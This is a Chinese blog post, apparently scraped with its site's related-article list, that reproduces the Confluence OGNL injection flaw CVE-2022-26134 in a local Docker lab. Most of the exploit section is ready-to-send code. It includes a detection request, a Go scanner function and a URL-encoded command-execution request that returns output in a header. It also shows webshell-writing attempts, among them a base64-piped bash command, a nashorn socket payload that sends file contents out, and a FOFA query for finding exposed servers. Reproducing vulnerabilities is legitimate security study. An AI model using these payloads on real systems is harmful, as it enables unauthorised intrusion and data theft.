Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
简介
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
受影响版本
- Confluence Server and Data Center >= 1.3.0
- Confluence Server and Data Center < 7.4.17
- Confluence Server and Data Center < 7.13.7
- Confluence Server and Data Center < 7.14.3
- Confluence Server and Data Center < 7.15.2
- Confluence Server and Data Center < 7.16.4
- Confluence Server and Data Center < 7.17.4
- Confluence Server and Data Center < 7.18.1
fofa语法
"Confluence Data Center" && title=="登录 - Confluence"
漏洞环境
执行如下命令启动一个Confluence Server 7.13.6:
docker compose up -d

环境启动后,访问http://127.0.0.1:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。

注册一个账户申请试用版许可证。注册之后可以申请一个90天的许可证

在这个填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres。

之后有一些选择,我选了加载一个示例站点,再次输入注册用的邮箱和用户名,下面的输入前面定义的postgres,然后他让你输入完一个工作空间的名称就完成了配置启动了

漏洞利用
poc发包测试
GET /%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=15A13C672F837C4DC2D35405A3A1D9C0
Connection: close

规则很简单,添加到自写的poc扫描模块中也能验证成功
func CVE_2022_26134(u string) bool {
if req, err := request.HttpRequset(u+"/%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/", "GET", "", false, nil); err == nil {
if req.Header["X-V-Response"] != nil {
return true
}
}
return false
}

exp发包请求
使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}.
这里还是比较好理解的,${...}表示这是一个OGNL表达式,它会被服务器解析和执行,然后先定义一个变量a来获取命令执行结果,具体是调用IOUtils类的静态方法toString这样可以将输入流转换为字符串,输入流则是通过调用Runtime类的静态方法getRuntime来获取一个Runtime对象,接着通过调用它的exec方法执行传入的id命令来返回一个Process对象,最后调用它的getInputStream来获取。最后将变量a传入header头X-Cmd-Response中返回
经过url编码之后发包:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
可以看到命令正常执行,也可以成功创建文件。

exp变形
但是写入想写入webshell发现不成功,先尝试了一下linux中写文件的几种姿势,但发现都不行写不进去:
echo "hi" | tee test.txt
// url编码后: echo%20%22hi%22%20%7C%20tee%20test.txt
echo "hi" > test.txt
// url编码后: echo%20%22hi%22%20%3E%20test.txt
printf "hi" > test.txt
// url编码后: printf%20%22hi%22%20%3E%20test.txt
尝试base64编码+url编码:
"bash -c {echo,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0}|{base64,-d}|{bash,-i}"
"bash%20-c%20%7Becho,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D"
但还是没有成功,没有header头回显。看到GitHub上有使用javascript配合socket来下载的,不过调用了JavaScript的nashorn来引入java的类。不过这个没实现成功。具体可以去这里了解 through the wire
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("id")));var sock = new java.net.Socket(127.0.0.1, 1111); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}
参考链接
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)的更多相关文章
- Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)
0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...
- struts2远程命令执行漏洞S2-045
Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...
- 19.Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick 命令执行漏洞(CVE-2016–3714) 漏洞简介: Imagetragick 命令执行漏洞在16年爆出来以后,wooyun上面也爆出了数个被该漏洞影响的大厂商,像腾讯, ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick介绍: ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个 ...
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- JNI动态注册以及JNI签名
一.动态注册和静态注册 注册native方法有两种方式,动态注册和静态注册.静态注册是在编译时进行注册,而且在java中声明的native方法和c/c++中的本地方法的对应关系是恒定的:比如说在com ...
- 「ABC 218」解集
E 倒流一下,然后把负权边置零后跑 MST 即可. #include<cstdio> #include<vector> #include<algorithm> us ...
- Node学习第一步 | 简介及安装
什么是node Javascript可以在浏览器运行, node可以让javascript在浏览器之外运行 可以用来做本地运行的软件/网络服务器/游戏等等 记得安装vs code里面力扣插件需要先安装 ...
- 整理php防注入和XSS攻击通用过滤
对网站发动XSS攻击的方式有很多种,仅仅使用php的一些内置过滤函数是对付不了的,即使你将filter_var,mysql_real_escape_string,htmlentities,htmlsp ...
- mac应用已损坏无法打开
sudo xattr -r -d com.apple.quarantine /User/name/yourapp # '/User/name/yourapp' 替换成你自己要安装的 mac 应用地址 ...
- ChatGPT 是如何产生心智的?
一.前言 - ChatGPT真的产生心智了吗? 来自斯坦福大学的最新研究结论,一经发出就造成了学术圈的轰动,"原本认为是人类独有的心智理论(Theory of Mind,ToM),已经出现在 ...
- 题解 hdu 1269 迷宫城堡
找点图论练习题写,发现hdu又寄了,那就发到blog里吧. 思路:tarjan缩点判断DAG中点数是否为1.若是,则该图为强连通图. //produced by miya555 //stupid mi ...
- tunm, 一种对标JSON的二进制数据协议
Tunm simple binary proto 一种对标JSON的二进制数据协议 支持的数据类型 基本支持的类型 "u8", "i8", "u16& ...
- umich cv-5-2 神经网络训练2
这节课中介绍了训练神经网络的第二部分,包括学习率曲线,超参数优化,模型集成,迁移学习 训练神经网络2 学习率曲线 超参数优化 模型集成 迁移学习 学习率曲线 在训练神经网络时,一个常见的思路就是刚开始 ...
- JavaScript 简介与引用
作者:WangMin 格言:努力做好自己喜欢的每一件事 我们通常写好的HTML网页是处于一个静态的效果,在用户体验这一方面就不是很好,给人一种死板的感觉.这里我们就可以用到JavaScript来为网页 ...